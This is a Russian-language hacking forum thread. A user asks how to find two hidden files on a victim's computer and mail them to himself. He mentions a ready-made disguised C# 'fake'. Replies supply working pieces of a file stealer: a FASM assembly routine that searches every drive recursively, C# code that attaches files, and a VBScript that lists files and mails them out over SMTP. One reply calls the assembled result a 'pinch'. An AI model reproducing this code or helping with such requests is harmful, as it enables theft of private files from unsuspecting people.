Форум   Статьи   Новости   Файлы   Bugtraq   Сниффер   Друзья   О Клубе
  , 12:49   #1
НЕ ПРОВЕРЕН
 
Регистрация: 18.01.2015
Сообщений: 4

Репутация: 0 / 0
По умолчанию Поиск и отправка файлов

Всем привет, у меня такая проблема. На компьютере жертвы имеются 2 файла без расширения, один из которых скрыт. У обоих файлов первые 4 буквы одинаковые, а после букв идут цифры, например вот abcd1234567890, цифры могут быть разные. Есть какой-нибудь скрипт, чтобы он искал эти 2 файла по всем дискам на компьютере и отправлял мне эти 2 файла на почту или ftp? Или как можно это реализовать на C#, чтобы эти 2 файла прикреплялись к сообщению и отправлялись на почту? Помогите мне, пожалуйста, я везде все облазил, не могу найти ничего нужного)
Ну помогите, хоть кто-нибудь
 

Последний раз редактировалось Artem74russs; 18.01.2015 в 21:45.
Пользователь вне форума    
Наши Спонсоры
  , 02:06   #2
велопедрист
 
Аватар для i368
 
Локация: Там где велодорожки
Регистрация: 08.03.2013
Сообщений: 293

Репутация: 106 / 2
По умолчанию

Гугл,не? Видел еще давно там сотни исходников, с множеством параметров(первые буквы названия файла, формат, путь файла, размер. и т.д) Руки в ноги,и искать просторы интернета.
лучше на асме:
source:
format PE GUI 4.0                      ; PE EXE файл
entry start                        ; Точка входа
 
  include '%fasminc%\win32a.inc'
 
section '.main' code readable writeable executable     ; Секция кода
                               ; и данных
 
      buf     rb 500h                      ; Буффер для имени директории
 
      fake1   dd '.',0                     ; Дирекории, которые
      fake2   dd '..',0                    ; НЕ надо сканировать
 
 
  start:                           ; Начало основной
                               ; Программы
 
      push    1h                       ; SEM_FAILCRITICALERRORS
      call    [SetErrorMode]                   ; Установим error mode
                               ; что бы в случае обращения
                               ; к недоступному диску
                               ; не вываливалось сообщение
 
      call    [GetLogicalDrives]               ; Получаем список дисков,
                               ; существующих в системе
 
      mov     ecx,25                       ; Будем проверять, начиная с Z:\
 
    .find_drives:
      mov     ebx,1                    ; Нехитрые опрерации в
      shl     ebx,cl                       ; ходе которых мы выясняем
      and     ebx,eax                      ; присутствует диск в
      je      .no_disk                     ; системе или нет
 
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
; На всякий случай, пояснение из MSDN:
;
; ;---------------------------------;
; ;  DWORD GetLogicalDrives(void);  ;
; ;---------------------------------;
;
; Return Values:
; --------------
;     If the function succeeds, the return value is a bitmask
;     representing the currently available disk drives.
;     Bit position 0 (the least-significant bit) is drive A,
;     bit position 1 is drive B, bit position 2 is drive C, and so on.
;
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
      add     cl,65                    ; Если да, то добавим
      mov     byte [buf],cl                ; букву диска в
      sub     cl,65                    ; буфер
 
      mov     dword [buf+1],':\*.'             ; Сформируем строку
      mov     byte [buf+5],'*'                 ; для поиска, вида,
      mov     byte [buf+6],0                   ; например, C:\*.*
 
      push    eax                      ; Сохраняем в стеке
      push    ecx                      ; нужные регистры
 
      call    find_files                   ; Вызываем процедуру поиска
 
      pop     ecx                      ; Восстанавливаем
      pop     eax                      ; регистры
 
    .no_disk:                          ; Если диска нет,
      dec     ecx                      ; то проверяем следующий
      jge     .find_drives                 ; пока ecx>0
 
      push    0                        ; Выходим из
      call    [ExitProcess]                ; программы
 
 
  proc find_files                      ; Рекурсивная процедура
                               ; поиска файлов
 
    locals                         ; Локальные переменные:
      fd     FINDDATA                      ; структура WIN32_FIND_DATA
      find_h dd ?                      ; и хэндл поиска
    endl
 
      lea    eax,[fd]                      ; Вычисляем и кладем в стек
      push   eax                       ; указатель на стуктуру find data
      push   buf                       ; Указатель на имя директории, где искать
      call   [FindFirstFile]                   ; Ищем
      inc    eax                       ; Если ничего
      je     .exit                     ; не нашли - выходим
      dec    eax                       ; Иначе, сохраним
      mov    [find_h],eax                  ; хэндл поиска
 
    .find_next:
      mov    eax,[fd.dwFileAttributes]             ; Проверяем, нашли
      and    eax,FILE_ATTRIBUTE_DIRECTORY          ; директорию?
      je     .found                    ; Если нет - прыгаем на .found
 
      lea    eax,[fd.cFileName]                ; Проверяем,
      push   eax                       ; вдруг это
      push   fake1                     ; "."
      call   [lstrcmp]                     ;
      test   eax,eax                       ; Если да,
      je     .next                     ; ищем следующий файл
 
      lea    eax,[fd.cFileName]                ; Проверяем,
      push   eax                       ; вдруг это
      push   fake2                     ; ".."
      call   [lstrcmp]                     ;
      test   eax,eax                       ; Если да
      je     .next                     ; ищем следующий файл
 
      push   buf                       ; Вычислим
      call   [lstrlen]                     ; длину строки
      sub    eax,3                     ; вычтем *.*
      push   eax                       ; сохраним полученную длину
 
      mov    byte [buf+eax],0                  ; Если мы всё-таки
      lea    eax,[fd.cFileName]                ; нашли директорию
      push   eax                       ; то прибавляем
      push   buf                       ; её имя к текущей
      call   [lstrcat]                     ; папке
 
      push   buf                       ; Опять вычислим
      call   [lstrlen]                     ; длину получившейся строки
 
      mov    dword [buf+eax],'\*.*'            ; и прибавим
      mov    byte [buf+eax+4],0                ; \*.* для поиска
 
      call   find_files                    ; Вызываем процедуру
                               ; поиска для найденной
                               ; директории
 
      pop    eax                       ; Восстановим
      mov    dword [buf+eax-1],'\*.*'              ; имя прежней
      mov    byte [buf+eax+3],0                ; директории
 
      jmp    .next                     ; Ищем следующий файл
 
    .found:
 
      lea    eax,[fd.cFileName]
      push   eax
      call   [lstrlen]
      cmp    dword [fd.cFileName+eax-4],'.txt'         ; Проверим расширение файла
      jne    .next                     ; Если не совпадает ищем дальше
 
      lea    eax,[fd.cFileName]
      push   0                         ;
      push   eax                       ;
      push   eax                       ;
      push   0                         ; Покажем MessageBox с
      call   [MessageBox]                  ; именем найденного файла
 
    .next:
      lea    eax,[fd]                      ; Кладем в стек указатель
      push   eax                       ; на структуру find_data
      push   [find_h]                      ; Хэндл текущего поиска
      call   [FindNextFile]                ; Ищем следующий файл
      test   eax,eax                       ;
      jne    .find_next                    ; Если ничего не нашли,
 
      push   [find_h]                      ; то закрываем
      call   [FindClose]                   ; хэндл поиска
 
    .exit:                         ;
      ret                          ; Выход
  endp
 
data import                        ; Импорт нужных API-функций
 
  library kernel32,'KERNEL32.DLL',\
      user32,'USER32.DLL'
 
  include '%fasminc%\APIA\kernel32.inc'
  include '%fasminc%\APIA\user32.inc'
 
end data
__________________
скучно - пиши код.
Пользователь вне форума    
  , 09:19   #3
Местный
 
Аватар для MOV_EAX
 
Регистрация: 10.02.2010
Сообщений: 182

Репутация: 5 / 0
По умолчанию

тут походу я бы убрал это не правильно
Assembler highlight
fd     FINDDATA
нужно так ------>
Assembler highlight
fd   WIN32_FIND_DATA
и ещё зачем показывать себя вот эти строки они не нужны
Assembler highlight
 call   [MessageBox]
<-------- убрать нах

можно добавить
Assembler highlight
 invoke CreateFile,FileName1,GENERIC_READ + GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
       mov [fd],eax
Assembler highlight
 invoke WriteFile,FileName1, [fd],eax, bufsize,0
то есть в секции кода добавляем
Assembler highlight
bufsize = $ - buf
Assembler highlight
FileName1 db 'запись.txt', 0

то что будет находится будет записываться сюда запись.txt

ну и прикрутить модуль с аттачем отправку на мыло
если конечно все норм реализовать походу это будет пинч в своем образе .
ps:а ещё лучше прикрутить функцию invoke CopyFile которая копирует существующий файл в новый файл.
__________________
аська на скрине

Последний раз редактировалось MOV_EAX; 19.01.2015 в 09:34.
Пользователь вне форума    
  , 10:07   #4
НЕ ПРОВЕРЕН
 
Регистрация: 18.01.2015
Сообщений: 4

Репутация: 0 / 0
По умолчанию

А можно на C# это сделать? Просто у меня на нем готовый фейк. Я знаю, что там можно прикреплять файл к сообщению, только проблема в том, что я не знаю как сделать поиск на компьютере, чтобы найти этот файл и прикрепить.
Вот код вложения:
source:
string file = "C:\\file.zip";
Attachment attach = new Attachment(file, MediaTypeNames.Application.Octet);

или вот еще один код:
source:
string[] paths = Directory.GetFiles("C:\". "*.txt");
var attachs = new List<Attachment>(); //массив файлов *.txt распологающихся в каталоге "C:\"
foreach(string item in paths){       
attachs.Add(new Attachment(item));
}
paths = Directory.GetFiles("патч к другому каталогу","*.txt");
foreach(string item in paths)
{
attachs.Add(new Attachment(item));//теперь этот массив дополнен файлами другой директории
}
 MailMessage message = new MailMessage(msgFrom, msgTo, msgSubject, msgBody);
foreach(Attachment item in attachs){  
message.Attachments.Add(item);
}
Как из этого кода сделать так, чтобы файл искался по всему компьютеру и прикрепился к сообщению? Файл скрытый, не имеет расширения, abcd123455785656(цифры разные)
 

Последний раз редактировалось Artem74russs; 19.01.2015 в 12:57.
Пользователь вне форума    
  , 13:21   #5
Местный
 
Аватар для MOV_EAX
 
Регистрация: 10.02.2010
Сообщений: 182

Репутация: 5 / 0
По умолчанию

Цитата:
Сообщение от Artem74russs Посмотреть сообщение
А можно на C# это сделать? Просто у меня на нем готовый фейк. Я знаю, что там можно прикреплять файл к сообщению, только проблема в том, что я не знаю как сделать поиск на компьютере, чтобы найти этот файл и прикрепить.
Вот код вложения:
source:
string file = "C:\\file.zip";
Attachment attach = new Attachment(file, MediaTypeNames.Application.Octet);

или вот еще один код:
source:
string[] paths = Directory.GetFiles("C:\". "*.txt");
var attachs = new List<Attachment>(); //массив файлов *.txt распологающихся в каталоге "C:\"
foreach(string item in paths){       
attachs.Add(new Attachment(item));
}
paths = Directory.GetFiles("патч к другому каталогу","*.txt");
foreach(string item in paths)
{
attachs.Add(new Attachment(item));//теперь этот массив дополнен файлами другой директории
}
 MailMessage message = new MailMessage(msgFrom, msgTo, msgSubject, msgBody);
foreach(Attachment item in attachs){  
message.Attachments.Add(item);
}
Как из этого кода сделать так, чтобы файл искался по всему компьютеру и прикрепился к сообщению? Файл скрытый, не имеет расширения, abcd123455785656(цифры разные)
ищи в гоогле набрав поисковике так C# WIN32_FIND_DATA

или тут C# http://www.cyberforum.ru/csharp-begi...ead328727.html

на vbs было бы в в несколько строках
примерно так
VBScript highlight
Dim oWSH, oExec,fso
Set oWSH = CreateObject("WScript.Shell")
Set oExec = oWSH.Exec("%COMSPEC% /C chcp 1251 && DIR /B /S C:\*. /A-D > log.txt")

Set oWSH = CreateObject("WScript.Shell")
oExec.StdOut.ReadAll

но тут тебе я думаю не кто не будет писать програмульки
во всём есть свои ограничения
конечно это всё примеры ,реально это надо сесть и с нуля самому написать
_________________________________________________________________________________;
ну и сам код на vbs отправка на мыло с атачем

VBScript highlight
Set WshShell = WScript.CreateObject("WScript.Shell")
Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\root\cimv2")
Set objFileSystem = CreateObject("Scripting.fileSystemObject")

Set datetime = CreateObject("WbemScripting.SWbemDateTime")

dtToday = Now
dtmDate = DateAdd("n", -7,dtToday)
datetime.SetVarDate(dtmDate)

tMessage=""
Set colFiles = objWMIService.ExecQuery ("Select * from CIM_DataFile where ( Path='\\OurFolder\\') and CreationDate < '"&datetime&"'")
If colFiles.count > 0 Then
For Each objFile in colFiles
tMessage = tMessage & vbTab & objFile.Drive & objFile.Path & objFile.FileName & "." & objFile.Extension & " " & vbCrLf
Next
sendmail "user email", "Тема письма тут (mail.vbs)", tMessage, false, tMessage
End If

sub sendmail(email,subj,body,isHTML,attachments)
Set myMail=CreateObject("CDO.Message")
myMail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
myMail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") ="your smtpserver"
myMail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") =25
myMail.Configuration.Fields.Update

myMail.Subject=subj
myMail.From="your email"
myMail.To=email
myMail.BodyPart.Charset = "windows-1251"
if(isHTML) then
myMail.Bodypart.ContentMediaType = "text/html"
myMail.Bodypart.ContentTransferEncoding = "Quoted-Printable"
body = "<HTML><HEAD></HEAD><BODY>" & body & "</BODY></HTML>"
SET Stm = myMail.Bodypart.GetDecodedContentStream
Stm.WriteText body
Stm.Flush
else
myMail.TextBody=body
end if
if(attachments<>false) then
attachments=Split(attachment,";")
for each attachment in attachments
if(attachment<>"") then
myMail.AddAttachment(attachment)
end if
next
end if
myMail.Send
set myMail=nothing
end sub
все описанное выше подправить под себя , пример строки такие как
VBScript highlight
Path='\\OurFolder\\
VBScript highlight
myMail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
myMail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") ="your smtpserver"
myMail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") =25
VBScript highlight
myMail.From="your email"
ну это тоже можно вырезать
VBScript highlight
dtToday = Now
dtmDate = DateAdd("n", -7,dtToday)
datetime.SetVarDate(dtmDate)
или подогнать под себя
__________________
аська на скрине

Последний раз редактировалось MOV_EAX; 19.01.2015 в 14:01.
Пользователь вне форума    
  , 15:12   #6
НЕ ПРОВЕРЕН
 
Регистрация: 18.01.2015
Сообщений: 4

Репутация: 0 / 0
По умолчанию

Спасибо, что помогли))))))
 
Пользователь вне форума    
 

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Утилита FDFSpy - автоматическое копирование файлов с флешек ZXDemon Софт, скрипты 0 12.11.2014 15:37
Как один хакер рулил внешней и внутренней политикой России.. tvorec2141 Оффтоп 12 19.10.2014 15:54
Команды которые используются для написания *.bat файлов chechenman Windows 6 27.05.2012 15:15
Telnet новичкам Like-Angel Новичкам 9 08.08.2010 20:21
Telnet grom4ik7 Новичкам 2 28.09.2009 23:05



Часовой пояс GMT +2
Powered by vBulletin® 3.x.x Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.

Copyright © 2008 - 2013 «HPC» Реклама на сайте Правила Форума Пользовательское соглашение Работа на сайте
При копировании материалов ставьте ссылку на источник
Все материалы представлены только в ознакомительных целях, администрация за их использование ответственности не несет.